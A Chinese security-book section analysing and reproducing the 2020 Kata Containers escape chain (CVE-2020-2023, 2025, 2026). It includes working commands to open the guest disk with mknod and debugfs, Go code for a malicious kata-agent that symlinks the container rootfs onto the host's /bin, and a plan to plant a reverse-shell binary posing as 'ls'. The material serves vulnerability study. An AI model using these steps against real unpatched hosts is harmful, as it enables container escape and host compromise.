3.4.2 安全容器逃逸
作为一种虚拟化技术,虽然容器本身已经提供了一定程度上的隔离性,但这种隔离性较弱。传统容器与宿主机共享内核,内核漏洞势必会直接影响容器的安全性。然而由于内核的复杂度过高等原因,高危内核漏洞层出不穷。
虚拟机的安全性和隔离性远高于容器,那么是否能够将虚拟机的强隔离性和容器的轻量级和富生态结合起来呢?安全容器应运而生,目标是在轻量化和安全性上达到较好的平衡。
Kata Containers[1]是一种安全容器的具体实现,其他主流的安全容器还有Google推出的gVisor项目[2]等。
Kata Containers项目最初由Hyper.sh的runV项目与Intel的Clear Container合并而来,并于2017年开源。它的核心思想是为每一个容器运行一个独立虚拟机,从而避免其与宿主机共享内核。这样一来,即使攻击者在容器内部成功利用了内核漏洞并攻破内核,他依然被限制在虚拟机内部,无法逃逸到宿主机上。
在不考虑其他因素的情况下,如果Kata Containers内部的攻击者想要逃逸到宿主机上,他必须至少经过两次逃逸——容器逃逸和虚拟机逃逸,才能达到目的。也就是说,单一的漏洞可能将不再奏效,攻击者需要构建一条漏洞利用链。
在2020年Black Hat北美会议上,来自Palo Alto Networks的高级安全研究员Yuval Avrahami分享了利用多个漏洞成功从Kata Containers逃逸的议题[8]。事实上,Yuval Avrahami分享的议题就是通过两次逃逸实现的,涉及四个漏洞:
1)CVE-2020-2023:Kata Containers容器不受限地访问虚拟机的根文件系统设备,CVSS 3.x评分为6.3。
2)CVE-2020-2024:Kata Containers运行时(runtime)在卸载(unmount)挂载点时存在符号链接解析漏洞,可能允许针对宿主机的拒绝服务攻击,CVSS 3.x评分为6.5。
3)CVE-2020-2025:基于Cloud Hypervisor的Kata Containers会将虚拟机文件系统的改动写入到虚拟机镜像文件(在宿主机上),CVSS 3.x评分为8.8。
4)CVE-2020-2026:Kata Containers运行时在挂载(mount)容器根文件系统(rootfs)时存在符号链接解析漏洞,可能允许攻击者在宿主机上执行任意代码,CVSS 3.x评分为8.8。
其中,CVE-2020-2024主要会导致拒绝服务攻击,对逃逸帮助不大。逃逸依靠其他三个漏洞形成的利用链条来实现。
这个议题精彩又富有意义。它让我们意识到,即使是采用了独立内核的安全容器,也存在逃逸风险。换句话说,安全没有银弹。
我们将对该议题中的逃逸过程(Container-to-Host)及相关的三个漏洞进行详解和复现[3]。
注意:
·相关漏洞在新版本Kata Containers中均已得到修复。
·文中涉及的是Kata Containers 1.x系列版本,2.x有所差异但相关度不大,不再涉及,感兴趣的读者可以参考官方文档。
·后文中使用的Kata Containers组件、源码版本如无特殊说明,均为1.10.0。
1.背景知识
(1)Kata Containers组件及架构
图3-16展示了Kata Containers的组件及各自的角色位置。
图3-16 Kata Containers组件及架构图
我们分别介绍一下各个组件及其作用。
·runtime:容器运行时,负责处理来自Docker引擎或Kubernetes等上层设施的命令(OCI规范定义)及启动kata-shim,程序名为kata-runtime。
·agent:运行在虚拟机中,与runtime交互,用于管理容器及容器内进程,程序名为kata-agent。
·proxy:负责宿主机与虚拟机之间的通信(对shim、runtime及agent之间的I/O流及信号进行路由),如果宿主机内核支持vsock,则proxy是非必要的,程序名为kata-proxy。
·shim:容器进程收集器,用来监控容器进程并收集、转发I/O流及信号,程序名为kata-shim。
·hypervisor:虚拟机监视器,负责虚拟机的创建、运行、销毁等管理,有多种选择,如QEMU、Cloud Hypervisor等。
·虚拟机:由高度优化过的内核和文件系统镜像文件创建而来,负责为容器提供一个更强的隔离环境。
(2)Cloud Hypervisor
Cloud Hypervisor是一个开源的虚拟机监视器(VMM),基于KVM运行。该项目专注于在受限硬件基础架构和平台上运行现代云计算工作流。它采用Rust语言实现,基于rust-vmm创建。
从1.10.0版本起,Kata Containers支持采用Cloud Hypervisor作为它的虚拟机监视器。
欲了解更多关于Cloud Hypervisor的内容,可以参考官方文档[4]。
2.漏洞分析
从前面的介绍中我们知道,从容器到宿主机的逃逸涉及三个漏洞的使用,由容器逃逸和虚拟机逃逸两部分组成。其中,容器逃逸涉及的漏洞是CVE-2020-2023,虚拟机逃逸涉及的漏洞是CVE-2020-2025和CVE-2020-2026。其中,前两个是权限控制的问题,最后一个漏洞则是云原生环境下的“熟客”——未限制符号链接解析导致的文件系统逃逸问题,类似的漏洞还有CVE-2019-14271等。
下面我们分别进行简单分析。
(1)CVE-2020-2023
这个漏洞是典型的权限控制问题——容器内部可以访问并修改虚拟机的文件系统。其根源之一在于,Kata Containers并未通过Device Cgroup限制容器对虚拟机设备的访问,因此容器能够通过创建设备文件的方式来访问虚拟机设备。
创建设备文件需要用到mknod系统调用,而mknod系统调用需要Capabilities中的CAP_MKNOD权限。那么容器是否拥有这个权限呢?不同引擎的规定不一定相同,默认情况下Docker引擎支持此权限。
//moby/oci/caps/defaults.go package caps //import "github.com/docker/docker/oci/caps" //DefaultCapabilities returns a Linux kernel default capabilities func DefaultCapabilities() []string { return []string{ "CAP_CHOWN", "CAP_DAC_OVERRIDE", "CAP_FSETID", "CAP_FOWNER", "CAP_MKNOD", //容器有此权限! "CAP_NET_RAW", "CAP_SETGID", "CAP_SETUID", "CAP_SETFCAP", "CAP_SETPCAP", "CAP_NET_BIND_SERVICE", "CAP_SYS_CHROOT", "CAP_KILL", "CAP_AUDIT_WRITE", } }
我们可以在Kata Containers创建的容器中验证一下:
root@kata:~# docker run --rm -it ubuntu /bin/bash root@df2cff910fdb:/# grep CapEff /proc/self/status CapEff: 00000000a80425fb root@df2cff910fdb:/# exit exit root@kata:~# capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill, cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_ chroot,cap_mknod,cap_audit_write,cap_setfcap
首先从容器中的/proc/self/status文件获取到Capabilities的具体值,然后进行解析。结果显示,容器确实拥有CAP_MKNOD权限。
那么再结合CVE-2020-2023,我们进一步尝试能否在容器内通过创建设备文件来访问甚至修改设备。
在存在漏洞的环境中(后文“逃逸复现”部分的“环境准备”环节给出了搭建漏洞环境的方法),创建一个容器;在容器内,首先我们需要找到底层虚拟机块设备的设备号,然后创建设备文件。
/sys/dev/block/目录下是各种块设备的符号链接,文件名即为目标块设备的主次设备号,我们要找到目标块设备为vda1的符号链接文件名,从而获得主次设备号。
例如,在笔者的环境下:
root@7d30fe24da7e:/# ls -al /sys/dev/block/ | grep vda1 lrwxrwxrwx 1 root root 0 Sep 23 03:16 254:1 -> ../../devices/pci0000:00/ 0000:00:01.0/virtio0/block/vda/vda1
找到主设备号为254,次设备号为1。在获取设备号后,即可使用mknod创建设备文件,执行如下命令:
mknod --mode 0600 /dev/guest_hd b 254 1
接着就可以对该设备进行访问和操作了。这里我们可以借助debugfs工具来实现:
root@7d30fe24da7e:/# /sbin/debugfs -w /dev/guest_hd debugfs 1.45.5 (07-Jan-2020) debugfs: ls 2 (12) . 2 (12) .. 11 (20) lost+found 12 (16) autofs 13 (12) bin 14 (12) boot 15 (12) dev 16 (12) etc 21 (12) home 22 (12) lib 23 (16) lib64 24 (16) media 25 (12) mnt 26 (12) proc 27 (12) root 28 (12) run 29 (12) sbin 30 (12) srv 31 (12) sys 32 (12) tmp 33 (12) usr 2061 (3824) var
果然漏洞存在,我们的确能够访问虚拟机文件系统。那么,能否修改设备呢?答案是可以的,如kata-agent就在usr/bin目录下:
debugfs: cd usr/bin debugfs: ls 435 (12) . 33 (12) .. 436 (20) kata-agent 437 (16) ldconfig 438 (16) chronyc 439 (16) chronyd 440 (16) capsh 441 (16) getcap 442 (16) getpcaps 443 (16) setcap 444 (12) su 445 (16) bootctl 446 (16) busctl 447 (20) coredumpctl
我们可以直接删除它:
debugfs: rm kata-agent debugfs: ls 435 (12) . 33 (32) .. 437 (16) ldconfig 438 (16) chronyc 439 (16) chronyd 440 (16) capsh 441 (16) getcap 442 (16) getpcaps 443 (16) setcap 444 (12) su 445 (16) bootctl 446 (16) busctl 447 (20) coredumpctl 448 (12) halt
可以看到,操作执行成功,kata-agent被删除了。
我们能够修改文件系统,说明它以读写模式挂载,这是漏洞根源之二。
(2)CVE-2020-2025
该漏洞也属于权限控制问题——在存在漏洞的环境中,虚拟机镜像并未以只读模式挂载。因此,虚拟机能够对硬盘进行修改,并将修改持久化到虚拟机镜像中。这样一来,后续所有新虚拟机都将基于修改后的镜像创建了。
我们来验证一下。思路是在之前CVE-2020-2023的基础上,先启动一个容器,使用debugfs向虚拟机硬盘中写入一个flag.txt文件,内容为“hello,kata”,然后销毁该容器,再次创建一个新容器,在其中使用debugfs查看文件系统是否存在上述文件,以判断虚拟机镜像是否被改写。具体的过程如下:
root@kata:~# docker run --rm -it ubuntu /bin/bash root@28caf254e3b3:/# mknod --mode 0600 /dev/guest_hd b 254 1 root@28caf254e3b3:/# echo "hello, kata" > flag.txt root@28caf254e3b3:/# /sbin/debugfs -w /dev/guest_hd debugfs 1.45.5 (07-Jan-2020) debugfs: cd usr/bin debugfs: write flag.txt flag.txt Allocated inode: 172 debugfs: close -a debugfs: quit root@28caf254e3b3:/# exit exit root@kata:~# root@kata:~# docker run --rm -it ubuntu /bin/bash root@1773bd058e1b:/# mknod --mode 0600 /dev/guest_hd b 254 1 root@1773bd058e1b:/# /sbin/debugfs -w /dev/guest_hd debugfs 1.45.5 (07-Jan-2020) debugfs: cd usr/bin debugfs: dump flag.txt flag.txt debugfs: quit root@1773bd058e1b:/# cat flag.txt hello, kata
可以看到,虚拟机镜像确实被改写了。
(3)CVE-2020-2026
CVE-2020-2026属于非常典型的一类漏洞——符号链接处理不当引起的安全问题。我们抽丝剥茧,一步步分析这个漏洞。
在背景知识部分,我们已经介绍了Kata Containers的基本组件,图3-17是Kata Containers执行OCI命令create时组件间的交互时序图[5]。
图3-17中大部分组件我们都介绍过了,此外,virtcontainers曾经是一个独立的项目,现在已经成为kata-runtime的一部分,它为构建硬件虚拟化的容器运行时提供了一套Go语言库。
可以看到,Docker引擎向kata-runtime下发create指令,然后,kata-runtime通过调用virtcontainers的CreateSandbox来启动具体的容器创建过程。接着,virtcontainers承担起主要职责,调用hypervisor提供的服务去创建网络、启动虚拟机。
我们重点关注virtcontainers向agent发起的CreateSandbox调用,从这里开始,virtcontainers与agent连续两次请求响应,是容器创建过程中最核心的部分,也是CVE-2020-2026漏洞存在的地方:
virtcontainers --- CreateSandbox ---> agent virtcontainers <-- Sandbox Created -- agent virtcontainers -- CreateContainer --> agent virtcontainers <--Container Created-- agent
图3-17 Kata Containers执行OCI命令create时组件间的交互时序
这里的Sandbox与Container有什么不同呢?Sandbox是一个统一、基本的隔离空间,一个虚拟机中只有一个Sandbox,但是该Sandbox内可以有多个容器,这就对应了Kubernetes Pod的模型;对于Docker来说,一般一个Sandbox内只运行一个Container。无论是哪种情况,Sandbox的ID与内部第一个容器的ID相同。
在上面这两次来往的过程中,容器即创建完成。我们知道,容器是由镜像创建而来,那么kata-runtime是如何将镜像内容传递给虚拟机内部kata-agent的呢?答案是将根文件目录(rootfs)挂载到宿主机与虚拟机的共享目录中。
首先,runtime/virtcontainers/kata_agent.go的startSandbox函数向kata-agent发起gRPC调用:
//runtime/virtcontainers/kata_agent.go storages := setupStorages(sandbox) kmodules := setupKernelModules(k.kmodules) req := &grpc.CreateSandboxRequest{ Hostname: hostname, Dns: dns, Storages: storages, SandboxPidns: sandbox.sharePidNs, SandboxId: sandbox.id, GuestHookPath: sandbox.config.HypervisorConfig.GuestHookPath, KernelModules: kmodules, }
可以看到,其中带有SandboxId和Storages参数。其中,Storages的值来自setupStorages函数,这个函数用于配置共享目录的存储驱动、文件系统类型和挂载点等。Storages内的元素定义如下(setupStorages函数):
sharedVolume := &grpc.Storage{ Driver: kataVirtioFSDevType, Source: mountGuestTag, MountPoint: kataGuestSharedDir(), Fstype: typeVirtioFS, Options: sharedDirVirtioFSOptions, }
其中,kataGuestSharedDir函数会返回共享目录在虚拟机内部的路径,也就是MountPoint的值:/run/kata-containers/shared/containers/。
然后切换到kata-agent侧。当它收到gRPC调用请求后,内部的CreateSandbox函数开始执行(位于“agent/grpc.go”)。具体如下(我们省略了内核模块加载、命名空间创建等代码逻辑):
//agent/grpc.go func (a *agentGRPC) CreateSandbox(ctx context.Context, req *pb.CreateSandboxRequest) (*gpb.Empty, error) { if a.sandbox.running { return emptyResp, grpcStatus.Error(codes.AlreadyExists, "Sandbox already started, impossible to start again") } //省略... if req.SandboxId != "" { a.sandbox.id = req.SandboxId agentLog = agentLog.WithField("sandbox", a.sandbox.id) } //省略... mountList, err := addStorages(ctx, req.Storages, a.sandbox) if err != nil { return emptyResp, err } a.sandbox.mounts = mountList if err := setupDNS(a.sandbox.network.dns); err != nil { return emptyResp, err } return emptyResp, nil }
可以看到,在收到请求后,kata-agent会调用addStorages函数,根据kata-runtime的指令挂载共享目录。经过深入分析,该函数最终会调用mountStorage函数,执行挂载操作:
//agent/mount.go //mountStorage performs the mount described by the storage structure. func mountStorage(storage pb.Storage) error { flags, options := parseMountFlagsAndOptions(storage.Options) return mount(storage.Source, storage.MountPoint, storage.Fstype, flags, options) }
这里的MountPoint即来自kata-runtime的“/run/kata-containers/shared/containers/”。至此,宿主机与虚拟机的共享目录已经挂载到了虚拟机内。
最后,CreateSandbox执行完成,kata-runtime收到回复。
那么,kata-runtime什么时候会向共享目录中挂载呢?如图3-18所示,发送完CreateSandbox请求后,kata-runtme在bindMountContainerRootfs中开始挂载容器根文件系统。
图3-18 从创建沙箱到绑定挂载的函数流程
代码如下:
//runtime/virtcontainers/mount.go func bindMountContainerRootfs(ctx context.Context, sharedDir, sandboxID, cID, cRootFs string, readonly bool) error { span, _ := trace(ctx, "bindMountContainerRootfs") defer span.Finish() rootfsDest := filepath.Join(sharedDir, sandboxID, cID, rootfsDir) return bindMount(ctx, cRootFs, rootfsDest, readonly) }
其中,rootfsDest是宿主机上共享目录中容器根文件系统的位置。它的形式是“/run/kata-containers/shared/sandboxes/sandbox_id/container_id/rootfs”,其中sandbox_id与container_id分别是沙箱和容器的ID。如前所述,对于只运行一个容器的情况来说,这两个ID是一致的;cRootFs是根文件系统在虚拟机内部共享目录中的挂载位置,形式为“/run/kata-containers/shared/containers/sandbox_id/rootfs”。
在函数的末尾,bindMount函数执行实际的绑定挂载任务:
//runtime/virtcontainers/mount.go func bindMount(ctx context.Context, source, destination string, readonly bool) error { //省略... absSource, err := filepath.EvalSymlinks(source) //重点!!! if err != nil { return fmt.Errorf("Could not resolve symlink for source %v", source) } //省略... if err := syscall.Mount(absSource, destination, "bind", syscall.MS_BIND, ""); err != nil { return fmt.Errorf("Could not bind mount %v to %v: %v", absSource, destination, err) } // 省略... return nil }
重点来了!该函数会对虚拟机内部的挂载路径做符号链接解析。
符号链接解析是在宿主机上进行的,但是实际的路径位于虚拟机内。如果虚拟机由于某种原因被攻击者控制,那么攻击者就能够在挂载路径上创建一个符号链接,kata-runtime将把容器根文件系统挂载到该符号链接指向的宿主机上的其他位置!
举例来说,假如虚拟机内部的kata-agent被攻击者替换为恶意程序,该恶意agent在收到CreateSandbox请求后,根据拿到的沙箱ID在“/run/kata-containers/shared/containers/sandbox_id/”创建一个名为rootfs的符号链接,指向/tmp/xxx目录,那么之后kata-runtime在进行绑定挂载时,就会将容器根文件系统挂载到宿主机上的/tmp/xxx目录下。在许多云计算场景下,攻击者是可以控制容器镜像的,因此,他能够将特定文件放在宿主机上的特定位置,从而实现虚拟机逃逸。
第一眼看到CVE-2020-2026,也许有人会觉得不太好利用,攻击者不是在容器里吗,如何跑到虚拟机里?确实,一般情况下的确比较困难,但是一旦它可以与CVE-2020-2023、CVE-2020-2025结合,就有可能了。
3.逃逸复现
(1)环境准备
我们需要准备一套存在前述三个漏洞的Kata Containers环境,并配置其使用Cloud Hypervisor作为虚拟机管理程序。这里,笔者采用VMware+Ubuntu18.04+Docker+Kata Containers 1.10.0作为测试环境。
首先,参照官方文档安装Docker。接着,从Kata Containers官方Github仓库[6]下载1.10.0版本的静态程序包“kata-static-1.10.3-x86_64.tar.xz”,下载后进行安装即可,具体可参考如下步骤(需要root权限):
#!/bin/bash set -e -x # 下载安装包(如果已经下载,此步可跳过) #wget https://github.com/kata-containers/runtime/releases/download/1.10.0/ kata-static-1.10.0-x86_64.tar.xz tar xf kata-static-1.10.0-x86_64.tar.xz rm -rf /opt/kata mv ./opt/kata /opt rmdir ./opt rm -rf /etc/kata-containers cp -r /opt/kata/share/defaults/kata-containers /etc/ # 使用Cloud Hypervisor作为虚拟机管理程序 rm /etc/kata-containers/configuration.toml ln -s /etc/kata-containers/configuration-clh.toml /etc/kata-containers/ configuration.toml # 配置Docker mkdir -p /etc/docker/ cat << EOF > /etc/docker/daemon.json { "runtimes": { "kata-runtime": { "path": "/opt/kata/bin/kata-runtime" }, "kata-clh": { "path": "/opt/kata/bin/kata-clh" }, "kata-qemu": { "path": "/opt/kata/bin/kata-qemu" } }, "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"] } EOF mkdir -p /etc/systemd/system/docker.service.d/ cat << EOF > /etc/systemd/system/docker.service.d/kata-containers.conf [Service] ExecStart= ExecStart=/usr/bin/dockerd -D --add-runtime kata-runtime=/opt/kata/bin/kata- runtime --add-runtime kata-clh=/opt/kata/bin/kata-clh --add-runtime kata- qemu=/opt/kata/bin/kata-qemu --default-runtime=kata-runtime EOF # 重载配置&重新启动Docker systemctl daemon-reload && systemctl restart docker
安装完成。可以看一下Docker当前配置的runtime是否为Kata Containers:
root@kata:~# docker info | grep 'Runtime' Runtimes: kata-runtime runc kata-clh kata-qemu Default Runtime: kata-runtime
完毕后,再尝试使用Kata Containers+Cloud Hypervisor运行一个容器:
root@kata:~# docker run --rm -it --runtime="kata-clh" ubuntu uname -a Linux 1998641bad3f 5.3.0-rc3 #1 SMP Thu Jan 16 01:53:44 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
可以看到,容器使用的内核版本为5.3.0-rc3,而我们测试环境宿主机的内核版本为4.15.0-117-generic:
root@kata:~# uname -a Linux matrix 4.15.0-117-generic #118-Ubuntu SMP Fri Sep 4 20:02:41 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
可见环境搭建成功了。
(2)漏洞利用
接下来,我们模拟漏洞利用场景:目标环境是一个使用Kata Containers作为容器运行时的容器服务(Container-as-a-Service)。攻击者首先上传恶意镜像,在云环境中启动一个容器,污染Kata Containers使用的虚拟机镜像;然后再次启动一个恶意容器,此时,Kata Containers使用被污染的虚拟机镜像创建出一个恶意虚拟机,它会欺骗Kata Containers运行时组件kata-runtime,将恶意容器根文件系统挂载到云平台宿主机上的/bin目录下。管理员在使用/bin目录下的工具时触发反弹shell,攻击者收到反弹shell,实现逃逸。整个逃逸流程如图3-19所示。
下面,我们就逐步曝光每个环节。
构建恶意kata-agent
结合前面漏洞分析部分可知,要利用好CVE-2020-2026漏洞,就需要在kata-agent的gRPC服务上做文章。
执行如下命令,首先拿到kata-agent的源码并切换到1.10.0版本:
mkdir -p $GOPATH/src/github.com/kata-containers/ cd $GOPATH/src/github.com/kata-containers/ git clone https://github.com/kata-containers/agent cd agent git checkout 1.10.0
图3-19 Kata Containers逃逸流程
在grpc.go文件中,找到CreateSandbox函数,其中有一部分代码是用来将宿主机共享目录挂载到虚拟机中的:
mountList, err := addStorages(ctx, req.Storages, a.sandbox) if err != nil { return emptyResp, err } a.sandbox.mounts = mountList
共享目录挂载后,我们才能在里边创建符号链接。因此,在上述代码后面添加创建符号链接的代码:
sharedParent := fmt.Sprintf("/run/kata-containers/shared/containers/%s/", a.sandbox.id) sharedPath := fmt.Sprintf("/run/kata-containers/shared/containers/%s/rootfs", a.sandbox.id) if err := os.Mkdir(sharedParent, 0755); err != nil { return emptyResp, fmt.Errorf("MkdirAll oops: '%s'", err) } newPath := "/bin" if err := os.Symlink(newPath, sharedPath); err != nil { return emptyResp, fmt.Errorf("Symlink oops: '%s'", err) }
这样一来,当kata-runtime向kata-agent发出CreateSandbox指令时,kata-agent将在共享目录内的rootfs位置创建一个符号链接,指向/bin;此后,当kata-runtime向该位置绑定挂载容器根文件系统时,实际的挂载路径将是宿主机的/bin。
除此之外,还需要避免kata-runtime在容器生命周期结束时从/bin卸载容器根文件系统。因此,我们设法在卸载操作前把共享目录中的rootfs位置替换为一个正常目录。此外,kata-runtime在挂载容器镜像后,还会向kata-agent发出CreateContainer指令,因此,可在kata-agent源码grpc.go文件中的CreateContainer函数内添加删除符号链接、创建正常目录的操作:
rootfs_path := "/run/kata-containers/shared/containers/" + a.sandbox.id + "/rootfs" if err := os.Remove(rootfs_path); err != nil { return emptyResp, fmt.Errorf("Attack Remove symlink: '%s'", err) } if err := os.Mkdir(rootfs_path, os.FileMode(0755)); err != nil { return emptyResp, fmt.Errorf("Attack Mkdir recreate rootfs dir: '%s'", err) }
至此,恶意kata-agent编写完成,执行make构建即可。
构建恶意镜像kata-malware-image
从上面的流程图可以发现,攻击者实际上需要先后创建两个恶意容器。为简单起见,我们只构造一个恶意镜像,它需要完成两个任务:
1)在第一个容器启动时,利用CVE-2020-2023和CVE-2020-2025漏洞,将底层虚拟机块设备中的kata-agent替换为攻击者准备好的恶意文件。
2)第二个容器本不需要做任何事情,但此时由于CVE-2020-2026漏洞的存在,kata-runtime会将容器的根文件系统挂载到宿主机上指定位置(由恶意kata-agent创建的符号链接指定)。因此,镜像中还需要包含反弹shell需要的程序。
第二个任务比较简单,我们只需要在恶意容器的根目录下准备反弹shell程序(建议用C语言编写,另外,网络上有很多反弹shell源码)即可。由于是覆盖到/bin,因此我们可以考虑以/bin下的一些常用命令为反弹shell命名,如ls等。另外,假如反弹shell程序依赖bash等系统的自带shell,那么我们也需要在镜像中准备——一旦/bin被覆盖,/bin/bash及一系列其他shell就不可用了。
第一个任务则稍复杂,需要将上一步中构建好的恶意kata-agent写入底层虚拟机块设备中,可利用现成工具debugfs来达到目的。
如前文的“漏洞分析”部分所述,在获取设备号后,直接使用mknod创建设备文件,执行如下命令:
mknod --mode 0600 /dev/guest_hd b 254 1
接着,就可以利用漏洞CVE-2020-2023,借助debugfs打开该设备并进行操作了。默认情况下,直接执行debugfs会进入交互式界面。我们也可以借助它的-f参数,以文件形式给出操作指令。交互式界面的具体操作如下:
/sbin/debugfs -w /dev/guest_hd # 以下在debugfs的交互命令行中执行 cd /usr/bin rm kata-agent write /evil-kata-agent kata-agent close -a
由于存在CVE-2020-2025漏洞,上述操作会直接将Kata Containers使用的虚拟机镜像中的kata-agent替换为恶意程序,任务完成。
按照上述步骤制作成恶意容器镜像即可。
向目标环境上传恶意镜像
云平台一般会提供上传或拉取镜像的功能,为简单起见,笔者直接在目标主机上构建恶意镜像。总之,就是将恶意镜像传到目标环境上即可。
发起攻击
万事俱备,只欠东风。攻击者现在只需要做三件事:
1)开启一个监听反弹shell的进程。
2)在目标环境上使用恶意镜像创建一个新容器。
3)在上一容器内的恶意脚本执行完后,继续使用恶意镜像创建第二个容器。
可以编写一个简单的脚本来自动化上述步骤。
图3-20 自动化逃逸攻击模拟
图3-21 模拟受害者执行被替换的ls命令
如图3-20所示,攻击成功(注意,覆盖kata-agent可能耗时较久)。此时目标宿主机上的/bin目录已经被恶意镜像的根目录覆盖(绑定挂载)。假设此时管理员登录宿主机,执行了一些常用命令,如ls,如图3-21所示。
此时,ls已经被替换为恶意程序,且攻击者收到了目标宿主机反弹回来的shell,如图3-22所示。
图3-22 攻击者收到的目标宿主机反弹shell
(3)注意事项
·如果在VMware中搭建测试环境,使用Kata Containers运行容器前需要配置一下vsock,执行如下命令:
sudo systemctl stop vmware-tools sudo modprobe -r vmw_vsock_vmci_transport sudo modprobe -i vhost_vsock
·构建恶意镜像时,使用runC构建会比直接在配置好kata-runtime的环境中快很多。
·实际上,对于攻击者来说,覆盖/bin并非是最好的思路。一方面,他在反弹shell中能够用到的工具会减少——原宿主机上/bin目录下的所有工具都无法使用了;另一方面,攻击者需要管理员的配合,如要等到管理员执行ls等命令才能实现攻击。另一种思路是覆盖/lib或/lib64目录并提供恶意的动态链接库[7],这样既不会影响到/bin目录下的工具(严格来说,可能会影响一些使用到动态链接库的程序),又不需要管理员的配合就可实施攻击,因为包括kata-runtime在内的许多系统进程都会自动调用动态链接库中的函数。
4.漏洞修复
在了解漏洞原理后,修复思路就较为直观了。不过,修复细节不是本章关注的重点,感兴趣的读者可以参考官方仓库[8]。
[1] https://katacontainers.io/。
[2] https://gvisor.dev/。
[3] 本小节的随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/tree/main/code/0304-运行时攻击/02-安全容器逃逸。
[4] https://github.com/cloud-hypervisor/cloud-hypervisor。
[5] 图片来自:https://github.com/kata-containers/documentation/blob/master/design/architecture.md。
[6] https://github.com/kata-containers/runtime/releases/download/1.10.0/kata-static-1.10.0-x86_64.tar.xz。
[7] https://github.com/kata-containers/community/blob/master/VMT/KCSA/KCSA-CVE-2020-2026.md。
[8] https://github.com/kata-containers/agent/pull/792。https://github.com/kata-containers/runtime/pull/2477。https://github.com/kata-containers/runtime/pull/2487。https://github.com/kata-containers/runtime/pull/2713。